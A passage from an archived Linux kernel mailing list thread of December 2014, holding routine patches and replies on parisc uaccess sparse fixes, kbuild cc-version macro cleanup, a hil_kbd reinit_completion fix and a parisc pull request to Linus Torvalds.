 scripts/Kbuild.include             |  7 ++-----
 6 files changed, 17 insertions(+), 45 deletions(-)

-- 
1.9.1


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH repost 12/16] parisc/uaccess: fix sparse errors
Date: Thu, 25 Dec 2014 11:29:13 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <1419499661-8566-13-git-send-email-mst@redhat.com>
References: <1419499661-8566-1-git-send-email-mst@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1419499799 9972 80.91.229.3 (25 Dec 2014 09:29:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Dec 2014 09:29:59 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Dec 25 10:29:53 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Y44jw-0003et-E6
	for glk-linux-kernel-3@plane.gmane.org; Thu, 25 Dec 2014 10:29:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752560AbaLYJ3h (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 25 Dec 2014 04:29:37 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:54094 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752158AbaLYJ3e (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 25 Dec 2014 04:29:34 -0500
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id sBP9TMpU025079
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Thu, 25 Dec 2014 04:29:22 -0500
Original-Received: from redhat.com (ovpn-116-18.ams2.redhat.com [10.36.116.18])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id sBP9TEqM014371;
	Thu, 25 Dec 2014 04:29:15 -0500
Content-Disposition: inline
In-Reply-To: <1419499661-8566-1-git-send-email-mst@redhat.com>
X-Mutt-Fcc: =sent
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1855842 gmane.linux.kernel.cross-arch:25879 gmane.linux.ports.parisc:25511
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1855842>

virtio wants to read bitwise types from userspace using get_user.  At the
moment this triggers sparse errors, since the value is passed through an
integer.

Fix that up using __force.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/parisc/include/asm/uaccess.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index a5cb070..3a20da6 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -104,7 +104,7 @@ struct exception_data {
 	    }                                           \
 	}                                               \
 							\
-	(x) = (__typeof__(*(ptr))) __gu_val;            \
+	(x) = (__force __typeof__(*(ptr))) __gu_val;            \
 	__gu_err;                                       \
 })
 
-- 
MST


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH repost 12/16] parisc/uaccess: fix sparse errors
Date: Thu, 25 Dec 2014 23:37:45 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <549C91B9.8080009@gmx.de>
References: <1419499661-8566-1-git-send-email-mst@redhat.com> <1419499661-8566-13-git-send-email-mst@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1419547094 12479 80.91.229.3 (25 Dec 2014 22:38:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Dec 2014 22:38:14 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>, linux-kernel@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Thu Dec 25 23:38:07 2014
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Y4H2k-0002ib-Hh
	for glka-linux-arch@plane.gmane.org; Thu, 25 Dec 2014 23:38:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751238AbaLYWhv (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 25 Dec 2014 17:37:51 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:61474 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751169AbaLYWhu (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Thu, 25 Dec 2014 17:37:50 -0500
Original-Received: from [192.168.20.60] ([84.173.13.97]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MY75A-1YQMHb05UO-00UqgK; Thu, 25 Dec 2014 23:37:47
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0
In-Reply-To: <1419499661-8566-13-git-send-email-mst@redhat.com>
X-Provags-ID: V03:K0:BLag1ejocmloeYUrYmzQnA7gZ8lTd4nkrW78lq0Xr/QY5rCNRlL
 byEM6fl/GtGCqpttypIqb23y2RKlpZgHZH8NKSZJktENO/k3/Z15Ep1LGxiNOSGIHWTQh8c
 Gm2+lGkFCwASu9r1ybTvXlBQ2X4dDQIUNJXfsuWsQmpq6qSYpR06BbuPCG+5Sd7SNz4uZES
 eLc6UtN7ulw/Q6PmObnXQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:25893 gmane.linux.kernel:1855947 gmane.linux.ports.parisc:25512
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/25893>

Hi Michael,

On 12/25/2014 10:29 AM, Michael S. Tsirkin wrote:
> virtio wants to read bitwise types from userspace using get_user.  At the

I don't know the virtio code much yet, but does it makes sense to read bitwise types?
Will virtio then get possible troubles because of endianess correct as well?

Do you have a code example, or the sparse error message ?

Helge

> moment this triggers sparse errors, since the value is passed through an
> integer.
>
> Fix that up using __force.
>
> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> ---
>   arch/parisc/include/asm/uaccess.h | 2 +-
>   1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
> index a5cb070..3a20da6 100644
> --- a/arch/parisc/include/asm/uaccess.h
> +++ b/arch/parisc/include/asm/uaccess.h
> @@ -104,7 +104,7 @@ struct exception_data {
>   	    }                                           \
>   	}                                               \
>   							\
> -	(x) = (__typeof__(*(ptr))) __gu_val;            \
> +	(x) = (__force __typeof__(*(ptr))) __gu_val;            \
>   	__gu_err;                                       \
>   })
>
>


From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.kbuild.devel,gmane.linux.ports.ppc64.devel,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/6] kbuild: do not add $(call ...) to invoke cc-version
 or cc-fullversion
Date: Thu, 25 Dec 2014 23:41:02 +0100
Lines: 153
Approved: news@gmane.org
Message-ID: <549C927E.7090706@gmx.de>
References: <1419485488-22336-1-git-send-email-yamada.m@jp.panasonic.com> <1419485488-22336-3-git-send-email-yamada.m@jp.panasonic.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1419547300 15126 80.91.229.3 (25 Dec 2014 22:41:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Dec 2014 22:41:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kbuild@vger.kernel.org,
	linux-doc@vger.kernel.org, linuxppc-dev@ozlabs.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Dec 25 23:41:34 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Y4H65-0003ff-Ks
	for glk-linux-kernel-3@plane.gmane.org; Thu, 25 Dec 2014 23:41:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752315AbaLYWlW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 25 Dec 2014 17:41:22 -0500
Original-Received: from plane.gmane.org ([80.91.229.3]:33483 "EHLO plane.gmane.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751238AbaLYWlV (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 25 Dec 2014 17:41:21 -0500
Original-Received: from list by plane.gmane.org with local (Exim 4.69)
	(envelope-from <glk-linux-kernel-3@m.gmane.org>)
	id 1Y4H5r-0003cM-2C
	for linux-kernel@vger.kernel.org; Thu, 25 Dec 2014 23:41:19 +0100
Original-Received: from p54ad0d61.dip0.t-ipconnect.de ([84.173.13.97])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-kernel@vger.kernel.org>; Thu, 25 Dec 2014 23:41:19 +0100
Original-Received: from deller by p54ad0d61.dip0.t-ipconnect.de with local (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-kernel@vger.kernel.org>; Thu, 25 Dec 2014 23:41:19 +0100
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 152
Original-X-Complaints-To: usenet@ger.gmane.org
Original-Cc: linux-parisc@vger.kernel.org, linux-kbuild@vger.kernel.org,
	linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org
X-Gmane-NNTP-Posting-Host: p54ad0d61.dip0.t-ipconnect.de
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0
In-Reply-To: <1419485488-22336-3-git-send-email-yamada.m@jp.panasonic.com>
Original-Cc: linux-kbuild@vger.kernel.org, linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1855948 gmane.linux.ports.parisc:25513 gmane.linux.kbuild.devel:12608 gmane.linux.documentation:28925 gmane.linux.ports.ppc64.devel:107909
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1855948>

On 12/25/2014 06:31 AM, Masahiro Yamada wrote:
> The macros cc-version, cc-fullversion and ld-version take no argument.
> It is not necessary to add $(call ...) to invoke them.
>
> Signed-off-by: Masahiro Yamada <yamada.m@jp.panasonic.com>
> ---
>
>   Documentation/kbuild/makefiles.txt | 4 ++--
>   arch/parisc/Makefile               | 2 +-

For the parisc change:
Acked-by: Helge Deller <deller@gmx.de>


Helge

>   arch/powerpc/Makefile              | 6 +++---
>   arch/x86/Makefile.um               | 2 +-
>   kernel/gcov/Makefile               | 2 +-
>   scripts/Kbuild.include             | 7 ++-----
>   6 files changed, 10 insertions(+), 13 deletions(-)
>
> diff --git a/Documentation/kbuild/makefiles.txt b/Documentation/kbuild/makefiles.txt
> index a311db8..7b3487a 100644
> --- a/Documentation/kbuild/makefiles.txt
> +++ b/Documentation/kbuild/makefiles.txt
> @@ -524,7 +524,7 @@ more details, with real examples.
>   	Example:
>   		#arch/x86/Makefile
>   		cflags-y += $(shell \
> -		if [ $(call cc-version) -ge 0300 ] ; then \
> +		if [ $(cc-version) -ge 0300 ] ; then \
>   			echo "-mregparm=3"; fi ;)
>
>   	In the above example, -mregparm=3 is only used for gcc version greater
> @@ -552,7 +552,7 @@ more details, with real examples.
>
>   	Example:
>   		#arch/powerpc/Makefile
> -		$(Q)if test "$(call cc-fullversion)" = "040200" ; then \
> +		$(Q)if test "$(cc-fullversion)" = "040200" ; then \
>   			echo -n '*** GCC-4.2.0 cannot compile the 64-bit powerpc ' ; \
>   			false ; \
>   		fi
> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
> index e9b4b6a..ff5e55f 100644
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -149,7 +149,7 @@ endef
>   # we require gcc 3.3 or above to compile the kernel
>   archprepare: checkbin
>   checkbin:
> -	@if test "$(call cc-version)" -lt "0303"; then \
> +	@if test "$(cc-version)" -lt "0303"; then \
>   		echo -n "Sorry, GCC v3.3 or above is required to build " ; \
>   		echo "the kernel." ; \
>   		false ; \
> diff --git a/arch/powerpc/Makefile b/arch/powerpc/Makefile
> index 132d9c6..fc502e0 100644
> --- a/arch/powerpc/Makefile
> +++ b/arch/powerpc/Makefile
> @@ -314,7 +314,7 @@ TOUT	:= .tmp_gas_check
>   # - Require gcc 4.0 or above on 64-bit
>   # - gcc-4.2.0 has issues compiling modules on 64-bit
>   checkbin:
> -	@if test "$(call cc-version)" = "0304" ; then \
> +	@if test "$(cc-version)" = "0304" ; then \
>   		if ! /bin/echo mftb 5 | $(AS) -v -mppc -many -o $(TOUT) >/dev/null 2>&1 ; then \
>   			echo -n '*** ${VERSION}.${PATCHLEVEL} kernels no longer build '; \
>   			echo 'correctly with gcc-3.4 and your version of binutils.'; \
> @@ -322,13 +322,13 @@ checkbin:
>   			false; \
>   		fi ; \
>   	fi
> -	@if test "$(call cc-version)" -lt "0400" \
> +	@if test "$(cc-version)" -lt "0400" \
>   	    && test "x${CONFIG_PPC64}" = "xy" ; then \
>                   echo -n "Sorry, GCC v4.0 or above is required to build " ; \
>                   echo "the 64-bit powerpc kernel." ; \
>                   false ; \
>           fi
> -	@if test "$(call cc-fullversion)" = "040200" \
> +	@if test "$(cc-fullversion)" = "040200" \
>   	    && test "x${CONFIG_MODULES}${CONFIG_PPC64}" = "xyy" ; then \
>   		echo -n '*** GCC-4.2.0 cannot compile the 64-bit powerpc ' ; \
>   		echo 'kernel with modules enabled.' ; \
> diff --git a/arch/x86/Makefile.um b/arch/x86/Makefile.um
> index 36b62bc..95eba55 100644
> --- a/arch/x86/Makefile.um
> +++ b/arch/x86/Makefile.um
> @@ -30,7 +30,7 @@ cflags-y += -ffreestanding
>   # Disable unit-at-a-time mode on pre-gcc-4.0 compilers, it makes gcc use
>   # a lot more stack due to the lack of sharing of stacklots.  Also, gcc
>   # 4.3.0 needs -funit-at-a-time for extern inline functions.
> -KBUILD_CFLAGS += $(shell if [ $(call cc-version) -lt 0400 ] ; then \
> +KBUILD_CFLAGS += $(shell if [ $(cc-version) -lt 0400 ] ; then \
>   			echo $(call cc-option,-fno-unit-at-a-time); \
>   			else echo $(call cc-option,-funit-at-a-time); fi ;)
>
> diff --git a/kernel/gcov/Makefile b/kernel/gcov/Makefile
> index 52aa7e8..6f01fa3 100644
> --- a/kernel/gcov/Makefile
> +++ b/kernel/gcov/Makefile
> @@ -21,7 +21,7 @@ else
>   # is not available. We can probably move if-lt to Kbuild.include, so it's also
>   # not defined during clean or to include Kbuild.include in
>   # scripts/Makefile.clean. But the following workaround seems least invasive.
> -  cc-ver := $(if $(call cc-version),$(call cc-version),0)
> +  cc-ver := $(if $(cc-version),$(cc-version),0)
>   endif
>
>   obj-$(CONFIG_GCOV_KERNEL) := base.o fs.o
> diff --git a/scripts/Kbuild.include b/scripts/Kbuild.include
> index a972666..69c9f57 100644
> --- a/scripts/Kbuild.include
> +++ b/scripts/Kbuild.include
> @@ -136,17 +136,15 @@ cc-disable-warning = $(call try-run,\
>   	$(CC) $(KBUILD_CPPFLAGS) $(KBUILD_CFLAGS) -W$(strip $(1)) -c -x c /dev/null -o "$$TMP",-Wno-$(strip $(1)))
>
>   # cc-version
> -# Usage gcc-ver := $(call cc-version)
>   cc-version = $(shell $(KBUILD_SHELL) $(srctree)/scripts/gcc-version.sh $(CC))
>
>   # cc-fullversion
> -# Usage gcc-ver := $(call cc-fullversion)
>   cc-fullversion = $(shell $(KBUILD_SHELL) \
>   	$(srctree)/scripts/gcc-version.sh -p $(CC))
>
>   # cc-ifversion
>   # Usage:  EXTRA_CFLAGS += $(call cc-ifversion, -lt, 0402, -O1)
> -cc-ifversion = $(shell [ $(call cc-version) $(1) $(2) ] && echo $(3))
> +cc-ifversion = $(shell [ $(cc-version) $(1) $(2) ] && echo $(3))
>
>   # cc-ldoption
>   # Usage: ldflags += $(call cc-ldoption, -Wl$(comma)--hash-style=both)
> @@ -164,13 +162,12 @@ ld-option = $(call try-run,\
>   ar-option = $(call try-run, $(AR) rc$(1) "$$TMP",$(1),$(2))
>
>   # ld-version
> -# Usage: $(call ld-version)
>   # Note this is mainly for HJ Lu's 3 number binutil versions
>   ld-version = $(shell $(LD) --version | $(srctree)/scripts/ld-version.sh)
>
>   # ld-ifversion
>   # Usage:  $(call ld-ifversion, -ge, 22252, y)
> -ld-ifversion = $(shell [ $(call ld-version) $(1) $(2) ] && echo $(3))
> +ld-ifversion = $(shell [ $(ld-version) $(1) $(2) ] && echo $(3))
>
>   ######
>
>



From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Mc Guire <der.herr@hofr.at>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.input,gmane.linux.ports.parisc
Subject: [PATCH 4/13] incorrect use of init_completion fixup
Date: Fri, 26 Dec 2014 09:06:10 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <1419581170-5182-1-git-send-email-der.herr@hofr.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1419581664 2544 80.91.229.3 (26 Dec 2014 08:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Dec 2014 08:14:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	linux-input@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Nicholas Mc Guire <der.herr@hofr.at>
To: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 26 09:14:16 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Y4Q2K-0001iZ-1Q
	for glk-linux-kernel-3@plane.gmane.org; Fri, 26 Dec 2014 09:14:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751555AbaLZIN7 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 26 Dec 2014 03:13:59 -0500
Original-Received: from www.osadl.org ([62.245.132.105]:51733 "EHLO www.osadl.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751193AbaLZIN5 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 26 Dec 2014 03:13:57 -0500
Original-Received: from debian.hofr.at (92-243-35-153.adsl.nanet.at [92.243.35.153] (may be forged))
	by www.osadl.org (8.13.8/8.13.8/OSADL-2007092901) with ESMTP id sBQ8Dk4R019704;
	Fri, 26 Dec 2014 09:13:46 +0100
X-Mailer: git-send-email 1.7.10.4
X-Spam-Status: No, score=-0.9 required=5.0 tests=BAYES_00,KHOP_SC_TOP_CIDR8,
	RDNS_DYNAMIC autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on www.osadl.org
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1856023 gmane.linux.kernel.input:40036 gmane.linux.ports.parisc:25514
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1856023>

The successive init_completion calls should be reinit_completion calls.

patch against 3.19.0-rc1 linux-next

Acked-by: Helge Deller <deller@gmx.de>
Signed-off-by: Nicholas Mc Guire <der.herr@hofr.at>
---
 drivers/input/keyboard/hil_kbd.c |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/drivers/input/keyboard/hil_kbd.c b/drivers/input/keyboard/hil_kbd.c
index 610a8af..5b152f2 100644
--- a/drivers/input/keyboard/hil_kbd.c
+++ b/drivers/input/keyboard/hil_kbd.c
@@ -473,7 +473,7 @@ static int hil_dev_connect(struct serio *serio, struct serio_driver *drv)
 	if (error)
 		goto bail1;

-	init_completion(&dev->cmd_done);
+	reinit_completion(&dev->cmd_done);
 	serio_write(serio, 0);
 	serio_write(serio, 0);
 	serio_write(serio, HIL_PKT_CMD >> 8);
@@ -482,7 +482,7 @@ static int hil_dev_connect(struct serio *serio, struct serio_driver *drv)
 	if (error)
 		goto bail1;

-	init_completion(&dev->cmd_done);
+	reinit_completion(&dev->cmd_done);
 	serio_write(serio, 0);
 	serio_write(serio, 0);
 	serio_write(serio, HIL_PKT_CMD >> 8);
@@ -491,7 +491,7 @@ static int hil_dev_connect(struct serio *serio, struct serio_driver *drv)
 	if (error)
 		goto bail1;

-	init_completion(&dev->cmd_done);
+	reinit_completion(&dev->cmd_done);
 	serio_write(serio, 0);
 	serio_write(serio, 0);
 	serio_write(serio, HIL_PKT_CMD >> 8);
--
1.7.10.4


From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fix for v3.19
Date: Fri, 26 Dec 2014 12:56:53 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20141226115653.GA1050@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1419595044 23621 80.91.229.3 (26 Dec 2014 11:57:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Dec 2014 11:57:24 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 26 12:57:17 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y4TW8-0003jJ-IQ
	for glpp-linux-parisc@plane.gmane.org; Fri, 26 Dec 2014 12:57:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751441AbaLZL5I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Dec 2014 06:57:08 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:62260 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751926AbaLZL5G (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Dec 2014 06:57:06 -0500
Original-Received: from p100.box ([84.173.12.28]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MBFgr-1YBvdn0x53-00AGHj; Fri, 26 Dec 2014 12:56:58
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:hOcJl5EvV6ZIpG12CEXCi2CQjN2mbfee2xscf6dMfu52RfiD+fd
 sKidExQ/j0JS64SbbGFsnqqdn9Ygt5lNM/25OiKQsNIypGBtefRHWEGUzlhk34/Rz5Qiu7d
 FKo8JYkcXGhfKqZz1KWQnf+4CMNqjgJaZrJvZ3YC5wtg/acww8aijui358WuNTB1nrfAxPe
 nBuGpDPGT3ZsQ663Qt7pw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25515 gmane.linux.kernel:1856068
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25515>

Hi Linus,

please pull one patch for the parisc architecture for kernel 3.19 from 

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.19-1

This patch unbreaks the kernel compilation on parisc with gcc-4.9.

Thanks,
Helge

----------------------------------------------------------------
John David Anglin (1):
      parisc: fix out-of-register compiler error in ldcw inline assembler function

 arch/parisc/include/asm/ldcw.h | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.input,gmane.linux.kernel
Subject: Re: [PATCH 4/13] incorrect use of init_completion fixup
Date: Fri, 26 Dec 2014 15:42:39 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <20141226234239.GB1071@dtor-ws>
References: <1419581170-5182-1-git-send-email-der.herr@hofr.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1419637377 3153 80.91.229.3 (26 Dec 2014 23:42:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Dec 2014 23:42:57 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	linux-input@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Nicholas Mc Guire <der.herr@hofr.at>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 27 00:42:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y4eWs-0001DZ-C4
	for glpp-linux-parisc@plane.gmane.org; Sat, 27 Dec 2014 00:42:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751096AbaLZXmp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Dec 2014 18:42:45 -0500
Original-Received: from mail-ie0-f182.google.com ([209.85.223.182]:39582 "EHLO
